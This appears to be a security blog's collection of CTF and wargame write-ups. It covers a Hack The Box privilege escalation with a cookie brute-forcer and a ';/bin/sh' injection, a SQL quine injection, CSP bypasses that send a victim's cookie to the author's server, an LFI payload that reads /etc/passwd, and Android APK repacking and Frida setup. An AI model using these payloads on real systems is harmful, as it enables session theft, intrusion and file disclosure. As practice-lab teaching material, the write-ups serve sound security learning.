Saturday, 28 August 2021

[HTB] Oopsie

I could see 2 opened ports which are port 22 and 80.

$ sudo nmap -PS -sS 10.10.10.28 -sC

Nmap scan report for 10.10.10.28
Host is up (0.68s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
| 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open http
|_http-title: Welcome


There was not a login page, or no feature.


There was another directory with view-source.


I could found 2 important information.
1. /cdn-cgi/login/login.php
2. /uploads/

I should keep the 2nd directory information, it will be useful information later.

I could see a login page.

The account was admin and password was "MEGACORP_4dm1n!!". The password was from the previous box.

I could see some menus and my cookie. The cookie was "user=34322; role=admin".

The uploads menu showed an error message "This action require super admin rights".


So, I should gain the super admin right. I changed the user number of the cookie.

import requests
from bs4 import BeautifulSoup

def exp():
    host, port = "http://10.10.10.28", 80
    for i in range(86574, 100000):
        cookies = {
                "user":str(i),
                "role":"admin"
                }

        r = requests.get(host+"/cdn-cgi/login/admin.php?content=uploads", cookies=cookies)
        if "Authenticating" not in r.text:
            print(f"Found: {str(i)}")
            exit()

if __name__ == "__main__":
    exp()
  

I found the user number to access the uploads menu.

I generated a webshell using weevely.

There was a user account and password.


I could access the box with SSH with the robert's credentials. I got the user flag.

Next, I should gain a root permission. I looked forward other vulnerabilities.

After few mintues, I checked a suspicous group name "bugtracker".


I found the suspicous binary /usr/bin/bugtracker.
- find / -type f -group kali 2>/dev/null

It runs with root permission.

I got the root permission after I put ";/bin/sh".


END

Wednesday, 25 August 2021

Andorid Mobile App Assessment - Frida environment

This is how to implement test environment for Frida.

Below is my test environment for frida-server and frida-client:

|----------------------------------------------------------------------------------|

|    |-------------------------|            |------------------------------------|  |

|    | Android-Studio       |             | Ubuntu on VM Player           |  |

|    |           AVD              | <--->   | IP: 192.168.172.129 (NAT)    |  |

|    | IP: 10.0.2.2  (NAT) |            |------------------------------------|  |

|    |-------------------------|                                                             |

|                                                                                 Windows 10 |

|                                                                             192.168.1.101 |

|----------------------------------------------------------------------------------|


That's a simple test environment.

The frida-server is running on Android-Stuido AVD, and the frida-tools is running on the Ubuntu server.



Windows & AVD
1. copy the frida-server file to Android (/data/local/tmp).
1.1. adb.exe push /<your-path of frida-server file> /data/local/tmp/

2. go adb shell and run frida on AVD
2.1. adb shell; cd /data/local/tmp; chmod 755 ./frida-server; ./frida-server

Windows
3. adb forward port
3.1. .\adb.exe forward tcp:27042 tcp:27042
3.2. .\adb.exe forward tcp:27043 tcp:27043
3.3. then, it will forward the ports, but it listen for 127.0.0.1 only. 

4.Windws forward port
4.1. netsh interface portproxy add v4tov4 listenport=27044 listenaddress=0.0.0.0 connectport=27042 connectaddress=127.0.0.1
4.2. netsh interface portproxy add v4tov4 listenport=27045 listenaddress=0.0.0.0 connectport=27043 connectaddress=127.0.0.1
4.3. netsh interface portproxy show all
4.4. then, it will forward the ports, but it listen for 0.0.0.0.

---------------------------------------------------------------------------------------------------------------|
| |---------------------------|                                                                          |-------------|  |
| | listening 27042          | --- 127.0.0.1:27042 ---> | <--- 0.0.0.0:27044 ---  | frida-ps    |  |
| | listening 27043          | --- 127.0.0.1:27043 ---> | <--- 0.0.0.0:27045 ---  |                |  |
| |--------------AVD-------|                                                                            |--Ubuntu -|  |
|                                                                                                                                     |
|----------------------------------------------------------------------------------------Windows ----------|

Ubuntu
5. Connect to frida-server
5.1 frida-ps -H 192.168.1.101:27044


[Extra tips]
adb.exe logcat



Tuesday, 24 August 2021

corCTF - writeup for crypto/fibinary

It is a simple crypto chall. 

It provides below code and encrypted flag:

enc.py

fib = [1, 1]
for i in range(2, 11):
        fib.append(fib[i - 1] + fib[i - 2])

def c2f(c):
        n = ord(c)
        b = ''
        for i in range(10, -1, -1):
                if n >= fib[i]:
                        n -= fib[i]
                        b += '1'
                else:
                        b += '0'
        return b

flag = open('flag.txt', 'r').read()
enc = ''
for c in flag:
        enc += c2f(c) + ' '
with open('flag.enc', 'w') as f:
        f.write(enc.strip()) 

flag.enc

10000100100 10010000010 10010001010 10000100100 10010010010 10001000000 10100000000 10000100010 00101010000 10010010000 00101001010 10000101000 10000010010 00101010000 10010000000 10000101000 10000010010 10001000000 00101000100 10000100010 10010000100 00010101010 00101000100 00101000100 00101001010 10000101000 10100000100 00000100100  

I made simple brute-force code to decrypt the encrypted flag.

dec.py
fib = [1, 1]
for i in range(2, 11):
        fib.append(fib[i - 1] + fib[i - 2])

def c2f(c):
        n = ord(c)
        b = ''
        for i in range(10, -1, -1):
                if n >= fib[i]:
                        n -= fib[i]
                        b += '1'
                else:
                        b += '0'
        return b


flag_enc = open('flag.enc', 'r').read()

dec = ''
for flag_blk in flag_enc.split(' '):
    for c in range(0,127):
        if c2f(chr(c)) == flag_blk:
            dec += chr(c)
print(dec)


Flag:
corctf{b4s3d_4nd_f1bp!113d}

Friday, 23 July 2021

Quine sql Injection

What is Quine? let's refer to Wiki.

A quine is a computer program which takes no input and produces a copy of its own source code as its only output. The standard terms for these programs in the computability theory and computer science literature are self-replicating programs,self-reproducing programs, and self-copying programs

There is good example wargame problem which is ouroboros golf of Webhacking.kr.

Below is the problem code:
<?php
  include "../../config.php";
  login_chk();
  print_best_golfer(73);
  $db = dbconnect("ouroboros");
  if(preg_match("/\./i", $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_ouroboros where pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result['pw']}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])){
    // !!THIS IS PAYLOAD GOLF CHALLENGE!!
    // My solution of ouroboros golf is 210byte.
    // If your solution is shorter than mine, you will get 5 point per 1 byte.
    $len = 210 - strlen($_GET['pw']);
    if($len > 0){
      solve(73,$len * 5);
    }
    else{
      echo "<h2>nice try :)</h2>";
    }
  }
  highlight_file(__FILE__);
?>

I should inject a SQL query, it will be $_GET['pw']. and the SQL query will run to DB, and return the result as per the code $result['pw'].

Next, the $reuslt['pw'] should be exist and same as my input. ($result['pw'] === $_GET['pw']).

Last, the payload should be less than 210 lengths.

Now, it sounds like time to make a Quine Generator for SQL. We can use replacement mothod, indirect ($) replacement method and union select.

We can pseudocode the simple replacement as follow:
'union+select+replace(replace('"union+select+replace(replace("$",char(34),char(39)),char(36),"$")as+a%23',char(34),char(39)),char(36),'"union+select+replace(replace("$",char(34),char(39)),char(36)"$")as+a%23')as+a%23

It makes same $result['pw'] and $_GET['pw']. You could reduce the length. For your Quine practice, I don't put a correct answer here.

END

Tuesday, 13 July 2021

Android Reverse Engineering and modifying apk.

When to conduct penetration tests about Android applications, this is a small piece to help you.

It is easy to decompile and repack android apps (apk). 

The following list describes some android terms:

  • Smali disassembled Java opcodes in textual format generated by baksmali, a DEX format disassembler

  • App Manifest: XML file that provides essential app information

Basic static analysis provides a general understanding of the mobile application's structure. the apktool can help to decompile the app's resources.

$apktool d -o ./sample sample.apk

The apk could contains meta information in AndroidManifest.xml file, and other files as per below:

  • AndroidManifest.xml
  • classes.dex
  • res/
  • lib/
  • META-INF

We could update source codes on in the disassembled class files (smali).

There are few methods to update smali files.
  • Manually add/edit/remove smali code. We should learn about smali code. This URL may be useful. In this case, JD GUI and jadx-gui are useful tools.
  • You build new android app with your android java code, and disassemble the apk to extract the smali code.

After update the smali code, you could build an updated apk using apktool.

$apktool b -o sample_new.apk ./sample

Next, we could create key and sign.

$keytool -genkey -v -keystore resign.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000  
 $jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore resign.keystore sample_new.apk alias_name  


If you know how to use smali language, you can modify apk much easier.


Reference:

1. OWASP MASVS - https://github.com/OWASP/owasp-masvs/releases/

Saturday, 24 April 2021

CSP bypass with wargame

What is Content-Security-Policy (CSP)?

Conent Security Policy (CSP) is an added security layer that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injectino attacks.

However, it could be unsafe if there is wrong CSP configuration.

Below is a sample unsafe scenarios with wargame probs.

#1. Bypass CSP script-src 'nonce-random'.

First prob, there is CSP with script-src 'nonce-random' in HTTP header.
HTTP/1.1 200 OK
Date: Fri, 23 Apr 2021 22:01:38 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Security-Policy: script-src 'nonce-uMiBg4W3wGgp8JQnJG2TL7WLGE8=';
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 133
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
I tried CSS brute-force attack to take the nonce-random value, however, it did not work. I looked again source code of the prob. There was loaded internal script file "script.js" as per below:
<h2>you can inject anything</h2>
<div id="injected">
foo
</div>
<script nonce="" src="/script.js" umibg4w3wggp8jqnjg2tl7wlge8=""></script>
Yes! now I have a chance to load the script.js file from my server using <base> tag. It is because the CSP does not include base-uri.

I can steal an admin cookie with this Payload:
<base href='http://[my server IP]/'>

script.js in my server
location.href='http://[my server IP]'+cookie;

#2. Bypass CSP script-src "https://*.google.com"

Secode prob, there is CSP with script-src 'https://*.google.com'.

HTTP/1.1 200 OK
Date: Fri, 23 Apr 2021 22:52:02 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Security-Policy: script-src https://*.google.com/;
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 90
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
It allowed only google. Many websites use Google's API a lot. And Google always overlooks being safe. This problem is probably the wrong CSP setting, which can be seen a lot.

I bypassed this CSP with this payload:
<script src=https://accounts.google.com/o/oauth2/revoke?callback=var/**/a%3d%27http://[my server ip]%27;location.replace(a%252bcookie);></script>
As the payload, this vulnerability is using json callback on google.com.

How to mitigate this problem? It could solve to allow specific url for CSP. For example, script-src https://apis.google.com

~ kerz

Reference:
Conent Security Policy (CSP): https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
Secure CSP: https://developers.google.com/web/fundamentals/security/csp

Tuesday, 7 January 2020

WhiteHat Grand Prix 06 – Quals, CTF writeup, Web Security 1






In the task, I got a website with register, login, logout forms. The web site redirected to:

  • http://15.165.80.50/?page=login 
  • http://15.165.80.50/?page=logout 

After a while I figured out that the page parameter's value was vulnerable, which I was able to read local files using php wrapper LFI. For example:

  • http://15.165.80.50/?page=php://filter/convert.base64-encode/resource=/etc/passwd 

I used the above payload to read the website's files such as index.php, however, it did not work. I wasted my time guessing the path and file name of the web files and a flag.

I checked some files to gain some information in /proc and other directories. The flag was in /proc/1/cmdline.

$ curl http://15.165.80.50/?page=php://filter/convert.base64-encode/resource=/proc/1/cmdline -o a.txt
$ cat a.txt

<!DOCTYPE html>
<html lang="en">
<head>
<title>My Viet Nam</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/js/bootstrap.min.js"></script>
<style type="text/css">
body{ font: 14px sans-serif; }
.wrapper{ width: 350px; padding: 20px; }
</style>
</head>
<body>

<nav class="navbar navbar-inverse">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="/">My Viet Nam</a>
</div>

<ul class="nav navbar-nav">
<li class="active"><a href="/">Home</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="?page=register"><span class="glyphicon glyphicon-user"></span> Register</a></li>
<ll><a href="?page=login"><span class="glyphicon glyphicon-log-in"></span> Login</a></li>
</ul>
</div>
</nav>/bin/bash/bin/start_service WhiteHat{Local_File_Inclusion_bad_enough_??}

The flag was WhiteHat{Local_File_Inclusion_bad_enough_??}.